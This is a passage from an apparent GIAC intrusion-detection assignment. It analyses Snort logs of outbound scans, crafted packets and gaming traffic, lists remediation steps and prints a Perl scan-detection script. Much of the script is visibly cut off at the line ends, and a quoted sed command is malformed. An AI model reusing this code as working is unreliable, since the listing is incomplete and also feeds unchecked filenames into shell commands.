Dec 16 23:01:29 MY.NET.210.146:1152 -> 193.205.233.2:59 SYN **S*****
Dec 16 23:01:30 MY.NET.210.146:1135 -> 206.167.180.26:59 SYN **S*****
Dec 16 23:01:30 MY.NET.210.146:1138 -> 216.138.129.162:59 SYN **S*****
Dec 16 23:01:30 MY.NET.210.146:1144 -> 216.217.196.201:59 SYN **S*****
Dec 16 23:01:30 MY.NET.210.146:1145 -> 143.236.49.214:59 SYN **S*****
```

MY.NET.98.177/98.130

MY.NET.98.177/98.130 shows some scans to port 2000 (possible Der Spaeher trojan) and port 0. It is worth examing this host for possible malicious activity.

Supporting logs

```
Dec 27 05:09:09 MY.NET.98.177:13610 -> 199.174.184.41:2000 SYN **S*****
```

```
Dec 27 05:09:09 MY.NET.98.177:13650 -> 213.240.3.185:2000 SYN **S*****
Dec 27 05:09:09 MY.NET.98.177:13660 -> 213.45.130.96:2000 SYN **S*****
Dec 27 05:09:09 MY.NET.98.177:13700 -> 63.208.245.82:2000 SYN **S*****
Dec 27 05:09:09 MY.NET.98.177:13800 -> 24.115.255.243:2000 SYN **S*****
Dec 27 05:09:10 MY.NET.98.177:13810 -> 172.166.70.32:2000 SYN **S*****
Dec 27 05:09:11 MY.NET.98.177:13770 -> 148.240.20.113:2000 SYN **S*****
Dec 27 05:09:12 MY.NET.98.177:0 -> 24.69.39.19:0 UDP

Dec 20 02:28:36 MY.NET.98.130:0 -> 216.254.35.26:0 UDP
Dec 20 02:28:37 MY.NET.98.130:16650 -> 24.0.163.238:2000 SYN **S*****
Dec 20 02:28:38 MY.NET.98.130:16740 -> 172.161.189.44:2000 SYN **S*****
Dec 20 02:28:38 MY.NET.98.130:16770 -> 200.51.204.45:2000 SYN **S*****
Dec 20 02:28:38 MY.NET.98.130:16780 -> 24.112.65.176:2000 SYN **S*****
Dec 20 02:28:38 MY.NET.98.130:16890 -> 24.65.184.88:2000 SYN **S*****
Dec 20 02:28:38 MY.NET.98.130:16900 -> 199.174.249.8:2000 SYN **S*****
Dec 20 02:28:39 MY.NET.98.130:0 -> 204.210.29.107:0 UDP
```

MY.NET.98.124

MY.NET.98.124 scanned subnet 207.246 on port 137 (Microsoft Netbios Nbname). [Flying Crocodile, Inc. (NETBLK-FLYINGCROC-BLK) FLYINGCROC-BLK 207.246.128.0 - 207.246.159.255]

Supporting logs

```
Dec 25 18:16:07 MY.NET.98.124:137 -> 207.246.137.12:137 UDP
Dec 25 18:16:07 MY.NET.98.124:137 -> 207.246.137.17:137 UDP
Dec 25 18:16:07 MY.NET.98.124:137 -> 207.246.138.134:137 UDP
Dec 25 18:16:08 MY.NET.98.124:137 -> 207.246.136.127:137 UDP
Dec 25 18:16:08 MY.NET.98.124:137 -> 207.246.136.196:137 UDP
Dec 25 18:16:08 MY.NET.98.124:137 -> 207.246.138.136:137 UDP
Dec 25 18:16:09 MY.NET.98.124:137 -> 207.246.136.101:137 UDP
Dec 25 18:16:10 MY.NET.98.124:137 -> 207.246.136.127:137 UDP
Dec 25 18:16:10 MY.NET.98.124:137 -> 207.246.136.196:137 UDP
Dec 25 18:16:10 MY.NET.98.124:137 -> 207.246.137.12:137 UDP
Dec 25 18:16:10 MY.NET.98.124:137 -> 207.246.138.134:137 UDP
Dec 25 18:16:11 MY.NET.98.124:137 -> 207.246.138.136:137 UDP
```

Pervasive Internet Gaming?

I saw alot of logs showing connections from udp/6112 to udp/6112. This bothered me alot. Doing some checking on www.metacrawler.com and www.google.com, I came up with what appears to be some on-line gaming action. See archives.neohapsis.com/archives/incidents/2000-03/0175.html and www.tux.org/hypermail/linux-net/1998-Dec/0172.html. Also, www.battle.net is a jumping off point. It appears that many users are not getting much work done at GIAC. Security policy at GIAC might want to address this type of behavior. There were over 95,000 logs reference port 6112. I counted 150 unique GIAC hosts in these logs. SANS analyst Matt Scarborough has a nice writeup on Internet gaming.

Supporting logs

```
Dec 17 08:40:42 MY.NET.98.132:6112 -> 209.144.24.47:6112 UDP
Dec 17 08:40:42 MY.NET.98.132:6112 -> 209.179.216.38:6112 UDP
Dec 17 08:40:42 MY.NET.98.132:6112 -> 24.22.67.39:6112 UDP
Dec 17 08:40:43 MY.NET.98.132:6112 -> 211.55.122.219:6112 UDP
Dec 17 08:40:43 MY.NET.98.132:6112 -> 140.254.55.10:6112 UDP
Dec 17 18:40:09 MY.NET.98.119:6112 -> 172.145.89.25:6112 UDP
Dec 17 18:40:10 MY.NET.98.119:6112 -> 24.214.54.18:6112 UDP
Dec 17 18:40:11 MY.NET.98.119:6112 -> 209.86.7.144:6112 UDP
Dec 17 18:40:11 MY.NET.98.119:6112 -> 207.93.139.229:6112 UDP
Dec 17 18:40:11 MY.NET.98.119:6112 -> 203.96.110.185:6112 UDP
Dec 21 01:25:29 MY.NET.208.218:6112 -> 216.192.22.7:6112 UDP
Dec 21 01:25:31 MY.NET.208.218:6112 -> 24.18.5.7:1024 UDP
Dec 21 01:25:30 MY.NET.208.218:6112 -> 172.131.253.36:6112 UDP
Dec 21 01:25:34 MY.NET.208.218:6112 -> 24.18.5.7:1024 UDP
Dec 21 01:25:34 MY.NET.208.218:6112 -> 172.131.253.36:6112 UDP
```

4. Snort Out-of-Spec (OOS) Logs

Examining the OOS logs, I found evidence of many GIAC hosts sending out crafted packets. The following GIAC hosts were sending out packets with source port of 0 which would be very, very rare in normal TCP packets. Also, most packets had an odd flag combination which also indicated crafted packets.

Supporting log with port 0 scans

```
MY.NET.202.10:0
MY.NET.202.46:0
MY.NET.207.254:0
MY.NET.211.130:0
MY.NET.217.126:0
MY.NET.217.150:0
MY.NET.217.158:0
MY.NET.217.182:0
MY.NET.219.126:0
MY.NET.222.126:0
MY.NET.222.226:0
MY.NET.222.62:0
MY.NET.223.194:0
MY.NET.224.62:0
MY.NET.225.222:0
MY.NET.226.134:0
MY.NET.227.86:0

Sample packet
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
01/16-03:32:16.433320 MY.NET.217.150:0 -> 195.113.139.162:2340
TCP TTL:126 TOS:0x0 ID:40233  DF
2*SF**** Seq: 0xE5F07BD   Ack: 0x4771019D   Win: 0x5018
0E 5F 07 BD 47 71 01 9D 1E 43 50 18 FE 62 8F D9  ._..Gq...CP..b..
00 00 78 12 8C B0 13 C2 32 6D 82 62 11 59        ..x.....2m.b.Y

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
01/16-03:55:57.983793 MY.NET.217.150:0 -> 142.104.195.55:2340
```

```
TCP TTL:126 TOS:0x0 ID:22157  DF
2*SFR**U Seq: 0x1039076B   Ack: 0x2E320075   Win: 0x5010
TCP Options => EOL EOL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

Supporting logs with odd flag combinations

```
MY.NET.201.174
MY.NET.203.30
MY.NET.211.170
MY.NET.217.126
MY.NET.217.150
MY.NET.217.158
MY.NET.217.182
MY.NET.219.2
MY.NET.222.126
MY.NET.222.62
MY.NET.223.54
MY.NET.224.62
MY.NET.225.30
MY.NET.226.134
MY.NET.97.137
MY.NET.97.148
MY.NET.97.195
MY.NET.97.200
MY.NET.97.227
MY.NET.97.83
MY.NET.98.140
MY.NET.98.152
MY.NET.98.156
MY.NET.98.157
MY.NET.98.163
MY.NET.98.182
MY.NET.98.185
MY.NET.98.190
MY.NET.98.202
Sample packets

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
01/16-04:07:50.866846 MY.NET.217.150:2340 -> 142.104.195.55:4169
TCP TTL:126 TOS:0x0 ID:30388  DF
21SFRPAU Seq: 0x98F7B33   Ack: 0x768EB4   Win: 0x5018
09 24 10 49 09 8F 7B 33 00 76 8E B4 00 FF 50 18  .$.I..{3.v....P.
FE 02 03 BE 00 00 9A 33 25 FB 14 DE 46 4E 36 EE  .......3%...FN6.
9E 34                                            .4

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
01/16-04:26:56.858715 MY.NET.217.150:2721 -> 24.237.67.141:2340
TCP TTL:126 TOS:0x0 ID:53353  DF
21SFRPA* Seq: 0x753FDA8   Ack: 0x388ECC24   Win: 0x5010
0A A1 09 24 07 53 FD A8 38 8E CC 24 00 DF 50 10  ...$.S..8..$..P.
FF 00 DA F9 20 20 20 20 20 00                    ....      .

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

```
01/16-04:45:57.129744 MY.NET.217.150:2340 -> 193.126.1.176:1568
TCP TTL:126 TOS:0x0 ID:50786  DF
21SFRP*U Seq: 0x57002A   Ack: 0xD5DF7D83   Win: 0x5018
09 24 06 20 00 57 00 2A D5 DF 7D 83 07 EF 50 18  .$. .W.*..}...P.
FD EA 4E 01 00 00 88 4C E3 38 32 61 83 7B FC 46  ..N....L.82a.{.F
B2 63                                            .c

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

Conclusion on "Analyse This" Scenario

It is most evident that we have some compromised hosts or users up to no good. In order to better protect the GIAC network, the following recommendations are offered:

1. First thing that needs to be done is create a team to investigate the hosts that appear to be compromised or sending out odd packets. The team could consist of knowledgable system administrators, network personnel, and computer security personnel. If there are compromised hosts, they need to be fixed directly.
2. Perform a vulnerability scan against GIAC network. This could include scanning network with NMAP looking for obvious vulnerable services or using a commercial scanner like ISS Internet Scanner or one of the open source scanners such as Nessus. This would assist in accessing the current state of the GIAC net.
3. Purchase and install a firewall if not running one already. Also, configure the border router to block highly vulnerable services such as ports 135-139, 445, sunrpc, telnet, printer, etc. Make sure that proper ingress and egress filtering is configured.
4. Develop Security Policy to reflect current state of the network. Include such items such as proper use of network resources. Identify what services users are restricted from using such as Napster, Internet Gaming, RealMedia, etc. Incorporate firewall policy/router policy to enforce Security Policy.
5. Conduct Security Training for all users. This should provide exposure of Security Policy to all users. They need to know how our network is being managed so they can assist in the effort. Also, include training on how to properly keep up on specific OS vendor patches as well as best-practices for system administrators. Without a buy-in for all users, GIAC management will be fighting an up-hill battle.
6. Incorporate additional Intrusion Detection systems. Snort is a wonderful IDS but it never hurts to have additional coverage. SHADOW or a commercial product such as RealSecure are viable options. Also, try to automate log analysis as much as possible. It would be an overwhelming task if log analysis is not automated in some way. Incorporate a system to see what your users are up to. As discovered in this analysis, a system to capture and analyze outgoing traffic is just as important as analyzing incoming traffic from the Internet.
7. Incorporate as much host-based protection as possible. This could include tcpwrappers, secure rpcbind, SSH as well as turning off all unnecessary services in inetd.conf or rc startup scripts.
8. Always be on the alert to new vulnerabilities and take immediate action if necessary. It doesn't take the hacker community long to develop exploits to newly discovered vulnerabilites.

6. Analysis Tools

In order to analyze such a large amount of data and try to make any sense of it, I used an excellent tool developed by Jim Hoagland and Stuart Staniford called SnortSnarf. Without this tool, it would have been extremely difficult to finish this assignment.

I created on large file from all the daily .txt files. Snortsnarf requires a real IP to work with so I changed all the references to MY.NET to MY.NET. This was accomplished using a simple sed statement. 'sed s/MY.NET/MY.NET *bigalertfile* > Scan_MY.NET.log. I then ran Snortsnarf against this file with good success.

I modified a perl script (find_scan.pl) from the SHADOW IDS (code after report examples.) This was ran against a concatenated file of all the Snort scan files. I broke this up into two parts; one where MY.NET was destination and other where MY.NET was source. Here is an example of report that my perl script generated.

Sample scan report generated by gscan.pl

```
Date Reported: 03/22/01
Date Attacked: 01/1/01

Attacking IP Address: 212.242.209.22
Attacking Host Name: port21.cvx1-fs.ppp.cybercity.dk
Attacking Host Description: CyberCity DK, DK

Type of Attack: Port 21 scan
Targeted O/S (if known):
Severity of Attach (high, medium, low): low

Scope of Attack (host, subnet, net): subnet
Attack Description: Subnet 100 - 187 IP addresses

Result of Attack: Host defended
Method of Detection: Snort

Action Taken:  Notified CERT, remote network admin at CyberCity DK.

Response from Attacking Site (if any):

Log/Evidence of Attack: [Snort - TZ=US/EST] - Sample of log
-------------------------------------------------------------
Jan  1 21:09:39 212.242.209.22:4385 -> MY.NET.100.6:21 SYN **S*****
Jan  1 21:09:39 212.242.209.22:4386 -> MY.NET.100.7:21 SYN **S*****
Jan  1 21:09:39 212.242.209.22:4387 -> MY.NET.100.8:21 SYN **S*****
Jan  1 21:09:39 212.242.209.22:4388 -> MY.NET.100.9:21 SYN **S*****
Jan  1 21:09:39 212.242.209.22:4389 -> MY.NET.100.10:21 SYN **S*****
Jan  1 21:09:39 212.242.209.22:4390 -> MY.NET.100.11:21 SYN **S*****
Jan  1 21:09:39 212.242.209.22:4391 -> MY.NET.100.12:21 SYN **S*****
Jan  1 21:09:39 212.242.209.22:4392 -> MY.NET.100.13:21 SYN **S*****
Jan  1 21:09:39 212.242.209.22:4393 -> MY.NET.100.14:21 SYN **S*****
Jan  1 21:09:39 212.242.209.22:4394 -> MY.NET.100.15:21 SYN **S*****
Jan  1 21:09:39 212.242.209.22:4395 -> MY.NET.100.16:21 SYN **S*****
Jan  1 21:09:39 212.242.209.22:4396 -> MY.NET.100.17:21 SYN **S*****
```

```
Jan  1 21:09:39 212.242.209.22:4397 -> MY.NET.100.18:21 SYN **S*****
Jan  1 21:09:39 212.242.209.22:4401 -> MY.NET.100.22:21 SYN **S*****
Jan  1 21:09:39 212.242.209.22:4402 -> MY.NET.100.23:21 SYN **S*****
Jan  1 21:09:40 212.242.209.22:4413 -> MY.NET.100.34:21 SYN **S*****
Jan  1 21:09:40 212.242.209.22:4416 -> MY.NET.100.37:21 SYN **S*****
```

The script automatically emailed me the results of the scan. It also has the ability to generate portscan reports. Here is an example of that:

Sample portscan report generated by gscan.pl

```
Date Reported: 03/22/01
Date Attacked: 12/21/00

Attacking IP Address: 207.29.192.114
Attacking Host Name: drew.behind-the-scene.com
Attacking Host Description: NetReach, Inc., Ambler, PA

Type of Attack: Port scan of MY.NET.221.158
Targeted O/S (if known):
Severity of Attach (high, medium, low): low

Scope of Attack (host, subnet, net): host
Attack Description: Port scan of MY.NET.221.158 - 4549 ports

Result of Attack: Host defended
Method of Detection:  Snort

Action Taken:  Notified CERT, remote network admin at NetReach, Inc..

Response from Attacking Site (if any):

Log/Evidence of Attack: [Snort - TZ=US/EST] - Sample of log
-------------------------------------------------------------
Dec 21 04:34:56 207.29.192.114:3064 -> MY.NET.221.158:133 SYN **S*****
Dec 21 04:34:56 207.29.192.114:3068 -> MY.NET.221.158:137 SYN **S*****
Dec 21 04:34:56 207.29.192.114:3069 -> MY.NET.221.158:138 SYN **S*****
Dec 21 04:34:56 207.29.192.114:3074 -> MY.NET.221.158:143 SYN **S*****
Dec 21 04:34:56 207.29.192.114:3080 -> MY.NET.221.158:149 SYN **S*****
Dec 21 04:34:56 207.29.192.114:3081 -> MY.NET.221.158:150 SYN **S*****
Dec 21 04:34:56 207.29.192.114:3116 -> MY.NET.221.158:185 SYN **S*****
Dec 21 04:34:56 207.29.192.114:3117 -> MY.NET.221.158:186 SYN **S*****
Dec 21 04:34:56 207.29.192.114:3138 -> MY.NET.221.158:207 SYN **S*****
Dec 21 04:34:56 207.29.192.114:3139 -> MY.NET.221.158:208 SYN **S*****
Dec 21 04:34:56 207.29.192.114:3140 -> MY.NET.221.158:209 SYN **S*****
Dec 21 04:34:56 207.29.192.114:3142 -> MY.NET.221.158:211 SYN **S*****
Dec 21 04:34:56 207.29.192.114:3143 -> MY.NET.221.158:212 SYN **S*****
```

Perl script used for scan analysis

```
#!/usr/bin/perl
#
#       NAME:   gscan.pl
```

```
#
#     PURPOSE:   Parse Snort logs for scans
#
#      AUTHOR:   Robert Sorensen
#
#
#     CREATED:   06/20/00
#
#     MODIFED:   03/19/01
#
#
# ACKNWLDGMNT:  This program is based on the find_scan.pl script as part of SH
#               version 1.6.  Basic code is produced from the excellent work o
#               folks.
#
#               - SHADOW Version 1.6
#
#                       Originally written by Vicki Irwin,
#                       "One of the nation's top intrusion detection analysts.
#                       formerly of the Naval Surface Warfare Center.
#
#                       Modified by Bill Ralph, "One of those highly (over) pa
#                       contractors."
#
#  Incorporated Blighty whois into report generation.  Requires Blighty whois
#   which can be found at http://samspade.org/w/whois/bwhois-latest.tar.gz
#
#
#    DESCRPTN:  This perl-script identifies scans from Snort log files.  It is
#               that a daily log file is being generated.  The script will par
#               look for a one-to-many relationship (internet scan) between sr
#               It will also find any host targeted portscans.  A parameter (-
#               establish these threshholds (Defaults are internet scan=>25, p
#
#               If a scan is found, the script will grep the Snort portscan lo
#               src IP.  A copy of the logs will be mailed to specified recipi
#               option (-d) is available to see what scans are found without t
#               of generating and mailing the potentially huge log files.
#
#
#++++++++++++++++++++++++++++++++++
# Start - Configuration Section
#++++++++++++++++++++++++++++++++++
#  Variables needed by the script. Tailor these variables as required.
#
$SCRIPT_PATH = "/var/nist/src/giac/snort/scan";                          #Scrip
$ENV{PATH} = "/bin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:$ID_PATH"
$SCAN_THRESHHOLD = $SCAN_TMP = 25;                       #Set threshhold for in
$PORTSCAN_THRESHHOLD = $PORTSCAN_TMP = 50;               #Set threshhold for po
#                                                          internal network IPs
$MAILPRG="/bin/mail";                                    #Set mail prog
$WHOISPRG = "/usr/local/bin/whois";                      #Set Blighty whois pro
$MAIL_TO="rsoren\@mycompany.net";                        #Set mail-to recipient
$TMP_DIR = "/var/nist/src/giac/snort/scan/tmp";
$FWLOG_TYPE= "0";                                        # 0 = gzipped ascii, 1
$DRYRUN_SCAN = "0";                                      # 0 = generate logs/ma
```

```
#                                                                 1 = run script with/
$ICMP = "0";                                                    # 0 = Don't include ic
#                                                                 1 = include icmp log
$REPORT = "0";                                                  # 0 = Just logs, 1 = N

#
#----------------------------------
# End - Configuration Section
#----------------------------------

#++++++++++++++++++++++++++++++++++
# Start Main Program
#++++++++++++++++++++++++++++++++++

use POSIX qw(strftime);
use Time::Local;
chomp($runpl = `basename $0`);
$rand_pid =int (rand $$);       #generate random pid when creating temp log fi
%month_conv = (
    'Jan' => "01", 'Feb' => "02", 'Mar' => "03", 'Apr' => "04", 'May' => "05",
    'Jul' => "07", 'Aug' => "08", 'Sep' => "09", 'Oct' => "10", 'Nov' => "11",
);

#++++++++++++++++++++++++++++++++++
#  Start - Get options from user
#++++++++++++++++++++++++++++++++++
use Getopt::Std;
getopts('dhi:m:prt:');

#Usage
if ($opt_d) {
    $DRYRUN_SCAN = "1"; # Shows what internet scans/portscans were found
}

if ($opt_h) {
    &usage;
    exit;
}
#Input file
if (defined ($opt_i)) {
    $fileinraw = "$opt_i";
}

if (defined ($opt_m)) {
    $MAIL_TO = "$opt_m"; #else use default as defined in Configuration Sectior
}

if ($opt_p) {
    $ICMP = "1";        # Include icmp logs in analysis
}
if ($opt_r) {
    $REPORT = "1";      # Generate scan report
}
# Threshold value
if (defined ($opt_t)) {
    ($SCAN_THRESHHOLD,$PORTSCAN_THRESHHOLD) = split (/,/,$opt_t); #else use de
```

```
    #Let's make sure that both threshholds are set
    #
    if ($SCAN_THRESHHOLD < 1 ) {
        $SCAN_THRESHHOLD = $SCAN_TMP;           #If internet scan threshhold r
    }
    if ($PORTSCAN_THRESHHOLD < 1 ) {
        $PORTSCAN_THRESHHOLD = $PORTSCAN_TMP;  #If portscan threshhold not de
    }

}

#-----------------------------------
#  End - Get options from user
#-----------------------------------

# $FWLOG_TYPE= "0";                     # 0 = gzipped ascii , 1 = fw log -nl

if ($FWLOG_TYPE eq "0") {

    $fwlog_command = "gzip -d -c $fileinraw";
    $fwlog_scan = "gzip -d -c $fileinraw \| grep ";     # Will give grep searc
}



print STDOUT <<EOT;

Scanning $fileinraw with following options:

   Mail Recipient(s) [Dry run=0]...$MAIL_TO
        Internet scan threshhold...$SCAN_THRESHHOLD
             Portscan threshhold...$PORTSCAN_THRESHHOLD
           Dry run (0=No, 1=Yes)....$DRYRUN_SCAN
 Include ICMP logs (0=No, 1=Yes)....$ICMP
       Scan Report (0=No, 1=Yes)....$REPORT

EOT
;

&prep_log; # Open log file and parse data

&cook_log_scan;         # Analyze processed log for internet scan
&cook_log_portscan;     # Analyze processed log for portscans

# Lets close out our summary report

# This includes html trailer for nice table formatted html file..
print GIACREPORT <<EOT;
</CENTER>
</TABLE>
</HTML>
EOT
;

close (GIACREPORT);
```

```
#----------------------------------
# End - Main Program
#----------------------------------

#==================================
# Start - Subroutines
#==================================

#--- Start prep_log ----------------------
sub prep_log {
    open(RAWFILE,"$fwlog_command|") or die "Can't open $fileinraw\n";

    $linenum = 0;

    while(<RAWFILE>)
    {
        next if /ctl/;
        if ($ICMP eq "0") {
            next if /icmp/;
        }
        $line = $_;
        if ($line =~ m/^\s/) {  #Pad single digit date to double digit (" 7Jul
            $line =~ s/ /0/;
        }
        $linenum = $linenum + 1;
        @fields = split(/\s+/, $line);

        @srctmp = split(/\:/,$fields[3]);
        @srcoctets = split(/\./,$srctmp[0]);
        $srcip = "$srcoctets[0].$srcoctets[1].$srcoctets[2].$srcoctets[3]";



        @dsttmp = split(/\:/,$fields[5]);
        @dstoctets = split(/\./,$dsttmp[0]);
        $dstport = $dsttmp[1];

        $dstip = "$dstoctets[0].$dstoctets[1].$dstoctets[2].$dstoctets[3]";
        $srciphash{$srcip}{$dstip} = 1; #hash for finding internet scans

        $dstiport = "$dstip.$dstport";
        $srciporthash{$srcip}{$dstiport} = 1;   #hash for finding portscans

        if ($linenum%10000 == 0) {print STDOUT "Line number ",$linenum," proce
    }
    close(RAWFILE);
}
#--- End prep_log ----------------------

#--- Start cook_log_scan --------------------
sub cook_log_scan {
    print STDOUT "\nPhase 1:  Analyzing logs for internet scans....\n";


$GIAC_REPORT = "${TMP_DIR}/giac_${rand_pid}.report";
```

```
# Let's get GIAC report started.  Will generate a table of scanned found.
#
open (GIACREPORT,">${GIAC_REPORT}") or die "Can't open ${GIAC_REPORT}\n";
print GIACREPORT <<EOT;

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>

<HEAD>
        <META HTTP-EQUIV="Content-Type" CONTENT="text/html;CHARSET=iso-8859-1'
        <META NAME="GENERATOR" Content="Visual Page 1.1a for Windows">
        <TITLE>GIAC 'Analyze This' Scan Report.</TITLE>
</HEAD>


<BODY BGCOLOR="#FFFFE1">

<H3>Robert Sorensen - GIAC Scan Analysis</H3>
<CENTER>
<P>
<TABLE BORDER="1" WIDTH="85%">
        <TR>
                <TD WIDTH="5%" BGCOLOR="#BBBBBB">
                        <P ALIGN="CENTER"><B>Date</B>
                </TD>
                <TD WIDTH="20%" BGCOLOR="#BBBBBB">
                        <P ALIGN="CENTER"><B>Hostile IP Address</B>
                </TD>
                <TD WIDTH="15%" BGCOLOR="#BBBBBB">
                        <P ALIGN="CENTER"><B>Hostile Host Name</B>
                </TD>
                <TD WIDTH="15%" BGCOLOR="#BBBBBB">
                        <P ALIGN="CENTER"><B>Hostile Host Desc.</B>
                </TD>
                <TD WIDTH="15%" BGCOLOR="#BBBBBB">
                        <P ALIGN="CENTER"><B>Scan Type</B>
                </TD>
                <TD WIDTH="15%" BGCOLOR="#BBBBBB">
                        <P ALIGN="CENTER"><B>Scope</B>
                </TD>
                <TD WIDTH="11%" BGCOLOR="#BBBBB"><B>Description</B>
                </TD>
        </TR>
EOT
;

    foreach $srcip (keys(%srciphash))
    {
       $howmany = 0;
       foreach $dstip (keys(%{$srciphash{$srcip}}))
       {
          $howmany += $srciphash{$srcip}{$dstip};
       }
       if ($howmany >= $SCAN_THRESHHOLD)
       {
```

```
            $outputhash{$srcip} = $howmany;
        }
    }

    @manyarray = @sortedips = sort by_ip keys(%outputhash);  #We'll use @manya


    foreach $srcip (@sortedips)
    {
        @srcoctets = split(/\./, $srcip);
        $binip = pack "c4",$srcoctets[0],$srcoctets[1],$srcoctets[2],$srcoctet
        @info = gethostbyaddr($binip,2);
        $srcname = $info[0];
        $scan_count = $outputhash{$srcip};

        if ($DRYRUN_SCAN eq "0") {
            $SCAN_LOG = "${TMP_DIR}/${rand_pid}_${srcip}.log";
            $SCAN_REPORT = "${TMP_DIR}/${rand_pid}_${srcip}.report";
            system("$fwlog_scan $srcip > ${SCAN_LOG}");

            if ($REPORT eq "0") {
               print STDOUT "\nPreparing to mail log for $srcip....\n";
               system("$MAILPRG -s \"SCAN ALERT \[${scan_count}_hosts\] $srcna
               print STDOUT ">>Mail sent for [${scan_count}_hosts] $srcname $s
               unlink ("${SCAN_LOG}") or die "Unable to remove temporary log \

            } else {  #option $REPORT=1 - Generate report

               # Set $SCAN_TYPE variable - 0=Internet scan, 1=Port Scan
               $SCAN_TYPE = 0;
               print STDOUT "\nPreparing to mail NIST Scan Report for $srcip..
               &log_scan_report;  #Generate the report
               system("$MAILPRG -s \"\[SCAN ALERT-$target_site/${scan_count}_h
               print STDOUT ">>Mail sent - [SCAN ALERT-$target_site/${scan_cou
               unlink ("${SCAN_LOG}") or die "Unable to remove temporary log \
               unlink ("${SCAN_REPORT}") or die "Unable to remove temporary lo
            } # End of if $REPORT section

        } else { #Dryrun = 1
            print STDOUT "\n\tGenerating scan info for $srcip....\n";
            print STDOUT "\t>>Internet scan - $srcname ($srcip) scanned [$outp
        } # End of Dryrun if
    }
}

#--- End cook_log_scan --------------------

#--- Start cook_log_portscan --------------------
sub cook_log_portscan {

    print STDOUT "\nPhase 2:  Analyzing logs for portscans....\n";

    foreach $srcip (keys(%srciporthash))
    {
        $howmany = 0;
        foreach $dstip (keys(%{$srciporthash{$srcip}}))
```

```
    {
       $howmany += $srciporthash{$srcip}{$dstip};
    }
    if ($howmany >= $PORTSCAN_THRESHHOLD)
    {
       $outputporthash{$srcip} = $howmany;
    }

}


@portarray = @sortediports = sort by_ip keys(%outputporthash);


# Let's process @manyarray and @portarray and only find the differences be
# The difference will be the portscans found
# Code lifted from perlfaq4 - How do I compute the difference of two array
#                             compute the intersection of two arrays?

#
@union = @intersection = @difference = ();

       %count = ();
       foreach $element (@manyarray, @portarray) { $count{$element}++ }
       foreach $element (keys %count) {
           push @union, $element;
           push @{ $count{$element} > 1 ? \@intersection : \@difference },
       }
@portscans = sort by_ip @difference;

$num_portscans = @portscans;        #Let's tell the user if there were no
if ($num_portscans < 1) {
    print STDOUT "          No portscans found....\n";
}
foreach $srciport (@portscans)
    {

        @srcoctets = split(/\./, $srciport);
        $binip = pack "c4",$srcoctets[0],$srcoctets[1],$srcoctets[2],$srcc
        @info = gethostbyaddr($binip,2);
        $srcname = $info[0];
        $scan_count = $outputporthash{$srciport};

        if ($DRYRUN_SCAN eq "0") {
            $SCAN_LOG = "${TMP_DIR}/${rand_pid}_${srciport}.log";
            $SCAN_REPORT = "${TMP_DIR}/${rand_pid}_${srciport}.report";
            system("$fwlog_scan $srciport > ${SCAN_LOG}");
            #system("$fwlog_scan $srciport > ${TMP_DIR}/${rand_pid}_${srci

            if ($REPORT eq "0") {

                print STDOUT "Preparing to mail log for $srciport....\n";
                system("$MAILPRG -s \"PORT SCAN ALERT \[${scan_count}_port
                print STDOUT ">>Mail sent for [${scan_count}_ports] $srcna
                unlink ("${SCAN_LOG}") or die "Unable to remove temporary
        } else {  #option $REPORT=1 - Generate report
```

```
                # Set $SCAN_TYPE variable - 0=Internet scan, 1=Port Scan
                $SCAN_TYPE = 1;
                $srcip = $srciport; # Setting $srciport to generic $srcip so re
                print STDOUT "\nPreparing to mail NIST Port Scan Report for $sr
                &log_scan_report;  #Generate the report
                system("$MAILPRG -s \"\[PORT SCAN ALERT-$target_site/${scan_cou
                print STDOUT ">>Mail sent - [PORT SCAN ALERT-$target_site/${sca
                unlink ("${SCAN_LOG}") or die "Unable to remove temporary log \
                unlink ("${SCAN_REPORT}") or die "Unable to remove temporary lo
            } # End of if $REPORT section

            } else {
                print STDOUT "\n\tGenerating scan info for $srciport....\n";
                print STDOUT "\t>>Port scan - $srcname ($srciport) scanned [${
            }

        } #End of foreach loop
} # End of subroutine

#--- End cook_log_portscan --------------------

#--- Start log_scan_report --------------------

sub log_scan_report
{
    %dstsubhash = ();   #Zero out subnet hash..
    $attack_type = '';
    $report_command = "cat ${SCAN_LOG}";
    open(REPORTFILE,"$report_command|") or die "Can't open ${SCAN_LOG}\n";

    $linenum = 0;

    while(<REPORTFILE>)
    {
        next if /ctl/;
        if ($ICMP eq "0") {
            next if /icmp/;
        }
        $line = $_;
        if ($line =~ m/^\s/) {  #Pad single digit date to double digit (" 7Jul
            $line =~ s/ /0/;
        }
        $linenum = $linenum + 1;

        @fields = split(/\s+/, $line);

        @dsttmp = split(/\:/,$fields[5]);
        @dstoctets = split(/\./,$dsttmp[0]);
        if ($linenum < 10) { # Just grab 10 lines to reduce processing time.

            $log_date = $fields[0];
                $log_day = $fields[1];
                #$log_day = substr ($log_date, 0,2);
                $log_mon = $fields[0];
                #$log_mon = substr ($log_date, 2,3);
```

```
            if ($log_mon eq 'Dec' ) {
                $log_yr = "00";} else {
                $log_yr = "01";
            }
            $log_mond = $month_conv{$log_mon};
        $attack_date = "$log_mond/$log_day/$log_yr";

        $proto_type = "tcp";
        #$proto_type = $fields[6];

        $type = $dsttmp[1];


        $dstip = "$dstoctets[0].$dstoctets[1].$dstoctets[2].$dstoctets[3]'
        $binips = pack "c4",$dstoctets[0],$dstoctets[1],$dstoctets[2],$dst
        @infos = gethostbyaddr($binips,2);
        $dstname = $infos[0];
        if ($dstname eq '') {
            $dstname = $dstip;
        }

        if ($proto_type eq "tcp" or $proto_type eq "udp")
        {
